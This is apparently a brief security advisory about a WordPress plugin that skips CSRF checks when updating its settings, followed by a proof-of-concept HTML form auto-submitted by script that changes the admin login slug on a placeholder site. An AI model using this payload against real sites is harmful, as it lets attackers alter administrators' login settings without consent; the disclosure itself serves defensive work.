The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack, allowing them to change the login URL
<form id="test" action="https://example.com/wp-admin/options-permalink.php" method="POST">
<input type="text" name="custom_wpadmin_slug" value="secret">
</form>
<script>
document.getElementById("test").submit();
</script>